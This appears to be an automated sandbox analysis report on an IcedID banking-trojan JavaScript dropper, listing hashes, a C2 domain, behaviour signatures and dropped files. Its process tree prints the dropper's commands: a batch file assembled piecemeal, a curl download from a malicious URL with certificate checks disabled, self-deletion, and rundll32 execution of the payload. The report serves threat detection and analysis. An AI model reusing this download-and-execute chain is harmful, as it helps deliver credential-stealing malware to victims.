Analysis

  • max time kernel
    142s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231020-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231020-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17/11/2023, 03:05

General

  • Target
    e11d27dad9d6a484061fed8406b1b4ba.js
  • Size 54KB
  • Sample231117-dk8sdaea86
  • SHA256 bef13d6455aa5e949c2952d609fd09e34e53b7ead3b3d84c3018e489fb1f027f
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • icedid

Campaign
  • 548427575

C2
  • iosninjafisk.com

Signatures

  • IcedID, BokBot

    IcedID is a banking trojan capable of stealing credentials.

  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\e11d27dad9d6a484061fed8406b1b4ba.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4848
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\e11d27dad9d6a484061fed8406b1b4ba.js"
      2⤵
        PID:3768
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c echo|set /p="cu" > "C:\Users\Admin\AppData\Local\Temp\cumque.q.bat"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2000
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" echo"
          3⤵
            PID:3596
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /S /D /c" set /p="cu" 1>"C:\Users\Admin\AppData\Local\Temp\cumque.q.bat""
            3⤵
              PID:1396
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c echo rl "https://saogoncalomedicina.com.br/TOP/4129/320ca3f6/?cable=198832.219" --output "C:\Users\Admin\AppData\Local\Temp\\vero.q" --ssl-no-revoke --insecure --location >> "C:\Users\Admin\AppData\Local\Temp\cumque.q.bat"
            2⤵
              PID:492
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\cumque.q.bat"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:3764
              • C:\Windows\system32\curl.exe
                curl "https://saogoncalomedicina.com.br/TOP/4129/320ca3f6/?cable=198832.219" --output "C:\Users\Admin\AppData\Local\Temp\\vero.q" --ssl-no-revoke --insecure --location
                3⤵
                  PID:2116
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\cumque.q.bat"
                2⤵
                  PID:1688
                • C:\Windows\System32\rundll32.exe
                  "C:\Windows\System32\rundll32.exe" "C:\Users\Admin\AppData\Local\Temp\\vero.q" scab /k redit739
                  2⤵
                  • Loads dropped DLL
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious behavior: MapViewOfSection
                  PID:3888

              Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

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                    Downloads

                    cumque.q.bat

                    • Path C:\Users\Admin\AppData\Local\Temp\cumque.q.bat
                    • Size 170B
                    • SHA256 4d7c7e32ed6a3bd24f3e2e32b2ace831349c0caace4e7c1d3fd6d065f269b8bc
                    • MD5 SHA1 SHA512

                    cumque.q.bat

                    • Path C:\Users\Admin\AppData\Local\Temp\cumque.q.bat
                    • Size 170B
                    • SHA256 4d7c7e32ed6a3bd24f3e2e32b2ace831349c0caace4e7c1d3fd6d065f269b8bc
                    • MD5 SHA1 SHA512

                    vero.q

                    • Path C:\Users\Admin\AppData\Local\Temp\vero.q
                    • Size 356KB
                    • SHA256 28df6780dc48472e59dc59b449a9fc7d0e1431207014202eee2217c1e5357fac
                    • MD5 SHA1 SHA512 SSDEEP

                    vero.q

                    • Path C:\Users\Admin\AppData\Local\Temp\vero.q
                    • Size 356KB
                    • SHA256 28df6780dc48472e59dc59b449a9fc7d0e1431207014202eee2217c1e5357fac
                    • MD5 SHA1 SHA512 SSDEEP

                    memory/2508-8-0x00007FFF7E3F1000-0x00007FFF7E3F2000-memory.dmp

                    memory/2508-9-0x0000000180000000-0x0000000180009000-memory.dmp

                    memory/2508-16-0x00007FFF7E3F1000-0x00007FFF7E3F2000-memory.dmp

                    memory/3888-7-0x00000129C5C30000-0x00000129C5C34000-memory.dmp